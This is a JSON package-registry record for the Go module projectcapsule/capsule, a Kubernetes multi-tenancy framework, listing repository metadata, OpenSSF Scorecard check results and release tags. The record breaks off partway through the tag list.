{"id":8446542,"name":"github.com/projectcapsule/capsule","ecosystem":"go","description":"","homepage":"https://github.com/projectcapsule/capsule","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/projectcapsule/capsule","keywords_array":[],"namespace":"github.com/projectcapsule","versions_count":74,"first_release_published_at":"2020-09-16T18:50:15.000Z","latest_release_published_at":"2026-06-24T09:33:34.000Z","latest_release_number":"v0.13.7","last_synced_at":"2026-06-28T14:11:45.801Z","created_at":"2023-10-18T04:53:32.259Z","updated_at":"2026-06-29T06:12:19.890Z","registry_url":"https://pkg.go.dev/github.com/projectcapsule/capsule","install_command":"go get github.com/projectcapsule/capsule","documentation_url":"https://pkg.go.dev/github.com/projectcapsule/capsule#section-documentation","metadata":{},"repo_metadata":{"id":37009990,"uuid":"275918955","full_name":"projectcapsule/capsule","owner":"projectcapsule","description":"Multi-tenancy and policy-based framework for Kubernetes.","archived":false,"fork":false,"pushed_at":"2025-12-12T13:46:18.000Z","size":6833,"stargazers_count":1973,"open_issues_count":18,"forks_count":193,"subscribers_count":20,"default_branch":"main","last_synced_at":"2025-12-12T20:22:21.069Z","etag":null,"topics":["kubernetes","kubernetes-namespaces","kubernetes-operator","multi-tenancy","multi-tenant-operator","namespaces","operator","tenant"],"latest_commit_sha":null,"homepage":"https://projectcapsule.dev/","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/projectcapsule.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY-INSIGHTS.yml","support":null,"governance":"GOVERNANCE.md","roadmap":"ROADMAP.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":"MAINTAINERS.md","copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2020-06-29T20:27:51.000Z","updated_at":"2025-12-11T16:04:12.000Z","dependencies_parsed_at":"2023-02-17T23:46:02.385Z","dependency_job_id":"60e2cf6c-e9ac-4c1c-b819-8b49b28d6949","html_url":"https://github.com/projectcapsule/capsule","commit_stats":{"total_commits":1107,"total_committers":68,"mean_commits":"16.279411764705884","dds":0.5447154471544715,"last_synced_commit":"8ba9e9af1bd6f4c95a8ed5ae375f09b9354daa8b"},"previous_names":["clastix/capsule"],"tags_count":101,"template":false,"template_full_name":null,"purl":"pkg:github/projectcapsule/capsule","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/projectcapsule","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/sbom","scorecard":{"id":285324,"data":{"date":"2025-08-15T19:08:01Z","repo":{"name":"github.com/projectcapsule/capsule","commit":"100454d303c3a44b5ab670e298b94dc778ea6d92"},"scorecard":{"version":"v5.2.1","commit":"ab2f6e92482462fe66246d9e32f642855a691dc1"},"score":8,"checks":[{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: RenovateBot: renovate.json:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dependency-update-tool"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 7 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Code-Review","score":7,"reason":"Found 3/4 approved changesets -- score normalized to 7","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/coverage.yml:46","Info: jobLevel 'contents' permission set to 'read': .github/workflows/coverage.yml:47","Info: jobLevel 'actions' permission set to 'read': .github/workflows/docker-build.yml:23","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker-build.yml:24","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/docker-publish.yml:61","Info: jobLevel 'actions' permission set to 'read': .github/workflows/docker-publish.yml:62","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/docker-publish.yml:17","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/helm-publish.yml:44","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/helm-publish.yml:42","Info: jobLevel 'actions' permission set to 'read': .github/workflows/helm-publish.yml:75","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/helm-publish.yml:74","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/stale.yml:12","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/stale.yml:13","Info: found token with 'none' permissions: .github/workflows/check-actions.yml:1","Info: found token with 'none' permissions: .github/workflows/check-commit.yml:1","Warn: no topLevel permission defined: .github/workflows/coverage.yml:1","Info: found token with 'none' permissions: .github/workflows/docker-build.yml:1","Info: found token with 'none' permissions: .github/workflows/docker-publish.yml:1","Info: found token with 'none' permissions: .github/workflows/docs-lint.yml:1","Info: found token with 'none' permissions: .github/workflows/e2e.yml:1","Info: topLevel permissions set to 'read-all': .github/workflows/helm-publish.yml:2","Info: found token with 'none' permissions: .github/workflows/helm-test.yml:1","Info: found token with 'none' permissions: .github/workflows/lint.yml:1","Info: found token with 'none' permissions: .github/workflows/releaser.yml:1","Info: found token with 'none' permissions: .github/workflows/scorecard.yml:1","Info: found token with 'none' permissions: .github/workflows/stale.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":8,"reason":"dependency not pinned by hash detected -- score normalized to 8","details":["Warn: containerImage not pinned by hash: Dockerfile.tracing:3","Warn: containerImage not pinned by hash: Dockerfile.tracing:6: pin your Docker image by updating ghcr.io/alegrey91/harpoon:latest to ghcr.io/alegrey91/harpoon:latest@sha256:40a091a4b7962c913bdff66c9c2fff5488b4ebd5e5eaa43da89f0af756ad8fe9","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:41","Info:  35 out of  35 GitHub-owned GitHubAction dependencies pinned","Info:  22 out of  22 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned","Info:   0 out of   1 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"Signed-Releases","score":8,"reason":"5 out of the last 5 releases have a total of 5 signed artifacts.","details":["Info: signed release artifact: capsule_0.10.4_linux_amd64.tar.gz.sbom.json.sig: https://github.com/projectcapsule/capsule/releases/tag/v0.10.4","Info: signed release artifact: capsule_0.10.3_linux_amd64.tar.gz.sbom.json.sig: https://github.com/projectcapsule/capsule/releases/tag/v0.10.3","Info: signed release artifact: capsule_0.10.2_linux_amd64.tar.gz.sbom.json.sig: https://github.com/projectcapsule/capsule/releases/tag/v0.10.2","Info: signed release artifact: capsule_0.10.1_linux_amd64.tar.gz.sbom.json.sig: https://github.com/projectcapsule/capsule/releases/tag/v0.10.1","Info: signed release artifact: capsule_0.10.0_linux_amd64.tar.gz.sbom.json.sig: https://github.com/projectcapsule/capsule/releases/tag/v0.10.0","Warn: release artifact v0.10.4 does not have provenance: https://api.github.com/repos/projectcapsule/capsule/releases/239885320","Warn: release artifact v0.10.3 does not have provenance: https://api.github.com/repos/projectcapsule/capsule/releases/236907055","Warn: release artifact v0.10.2 does not have provenance: https://api.github.com/repos/projectcapsule/capsule/releases/234328427","Warn: release artifact v0.10.1 does not have provenance: https://api.github.com/repos/projectcapsule/capsule/releases/229370266","Warn: release artifact v0.10.0 does not have provenance: https://api.github.com/repos/projectcapsule/capsule/releases/220368675"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/releaser.yml:47"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: all commits (29) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":10,"reason":"29 out of 29 merged PRs checked by a CI test -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 24 contributing companies or organizations","details":["Info: found contributions from: HackabilityNPO, HotBlackRobotics, IBM, Il-Libro-Open-Source, Schroedinger-Hat, adysof, ccl consulting, clastix, fantaculo, gyozatech, haproxytech, independent consultant, k8sgpu, lambdal, logix-software, lufthansa technik, parloma, peak scale, projectcapsule, redcarbon-dev, robotrokers, sf-wdi-26, suse, suse/rancher"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#contributors"}}]},"last_synced_at":"2025-08-17T17:06:02.562Z","repository_id":37009990,"created_at":"2025-08-17T17:06:02.562Z","updated_at":"2025-08-17T17:06:02.562Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":27726989,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-12-14T02:00:11.348Z","response_time":56,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"projectcapsule","name":"Project Capsule","uuid":"147177907","kind":"organization","description":"Multi-tenancy and policy-based framework for Kubernetes. Created \u0026 maintained by CLASTIX Labs","email":null,"website":"https://capsule.clastix.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/147177907?v=4","repositories_count":2,"last_synced_at":"2023-12-29T17:40:56.113Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/projectcapsule","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-12-29T17:41:02.972Z","updated_at":"2023-12-29T17:41:02.972Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/projectcapsule","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/projectcapsule/repositories"},"tags":[{"name":"v0.12.2","sha":"c06f54a3a305383da9f978e6f03d6088c8b8dfa6","kind":"commit","published_at":"2025-12-10T17:34:42.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.12.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.12.2/manifests"},{"name":"v0.12.1","sha":"936a152d39abee23dfe889230e063f0a7265de75","kind":"commit","published_at":"2025-12-09T06:54:30.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.12.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.12.1/manifests"},{"name":"v0.12.0","sha":"007cea96f4984fcfc81541e626d8a88e07824aff","kind":"commit","published_at":"2025-12-05T10:24:03.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.12.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.12.0/manifests"},{"name":"v0.11.1","sha":"63eb807cec97e1f6ca065a1c9f1dcd5b5e6a095f","kind":"tag","published_at":"2025-10-28T12:39:04.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.11.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.11.1/manifests"},{"name":"v0.11.2","sha":"634ed4969428239325f7e10bbb9050d99078d42e","kind":"commit","published_at":"2025-10-26T13:32:35.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.11.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.11.2/manifests"},{"name":"v0.11.0","sha":"2261ea6f4eb34f1919bcbd814d0ea31742101ec3","kind":"commit","published_at":"2025-10-20T13:37:12.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.11.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.11.0/manifests"},{"name":"v0.10.9","sha":"3c1c5f2039e5e431b988a73a00fcf5dbfe6fa7ab","kind":"commit","published_at":"2025-09-04T10:21:05.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.9","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.9/manifests"},{"name":"v0.10.8","sha":"15a09e4831375d55e2acde4b9f0c58b88b7cd5ab","kind":"commit","published_at":"2025-08-25T18:52:32.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.8","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.8/manifests"},{"name":"v0.10.7","sha":"cb029a1d70dc7b6b2341377c1f9cdf9762bb7ac3","kind":"commit","published_at":"2025-08-22T13:03:50.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.7","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.7/manifests"},{"name":"v0.10.6","sha":"5abf8542bbd5ee4328741e430bd6ae1596714c9f","kind":"commit","published_at":"2025-08-20T14:10:43.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.6","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.6/manifests"},{"name":"v0.10.5","sha":"67b5c3e880aba7e13ac1e6560d27ba58f8ba548f","kind":"commit","published_at":"2025-08-18T09:48:01.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.5","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.5/manifests"},{"name":"v0.10.4","sha":"e1f47feade6e1695b2204407607d07c3b3994f6e","kind":"commit","published_at":"2025-08-14T07:03:29.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.4/manifests"},{"name":"v0.10.3","sha":"e234200d1c3b71bb4b8e11c8b737a7e067182e02","kind":"commit","published_at":"2025-08-01T13:57:38.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.3/manifests"},{"name":"v0.10.2","sha":"2b92dac4cdf52e647229e576d95daefe4dcea167","kind":"commit","published_at":"2025-07-21T09:31:38.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.2/manifests"},{"name":"v0.10.1","sha":"838cc5f9697fad38721d953479ed1c668d0bcde5","kind":"commit","published_at":"2025-07-01T08:16:40.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"a6f38583b3ee4d860a18366ed55fa448f27bbbf1","kind":"commit","published_at":"2025-05-22T12:35:59.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.10.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"f85b61860e09bd9e212d153cc14e09ba2943c793","kind":"commit","published_at":"2025-05-09T04:39:12.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.9.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.9.0/manifests"},{"name":"v0.8.1","sha":"85e6d00f2f45f0912faa10729dbfb69fa5384c4d","kind":"tag","published_at":"2025-05-01T12:50:13.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.8.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"b739e4816cdfed7303747a419a86afc83c75ecf2","kind":"commit","published_at":"2025-04-30T15:42:02.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.8.0","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.8.0/manifests"},{"name":"v0.7.4","sha":"4b2c86be65712554b43f5e30d2a01e3556323f4d","kind":"commit","published_at":"2025-02-10T15:46:36.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.7.4","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"fa06d8d6ae2de5f04392396091c0749cda5137e1","kind":"commit","published_at":"2025-02-05T13:52:32.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.7.3","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"f82c2f468bcee5881849edbe99d5933307433d5b","kind":"commit","published_at":"2024-10-23T09:17:23.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.7.2","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"3f5bc4a8859300e0255103e55bcf992755652be8","kind":"commit","published_at":"2024-08-25T17:51:06.000Z","download_url":"https://codeload.github.com/projectcapsule/capsule/tar.gz/v0.7.1","html_url":"https://github.com/projectcapsule/capsule/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/projectcapsule/capsule@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/projectcapsule%2Fcapsule/tags/v0.7.1","manifests_url":"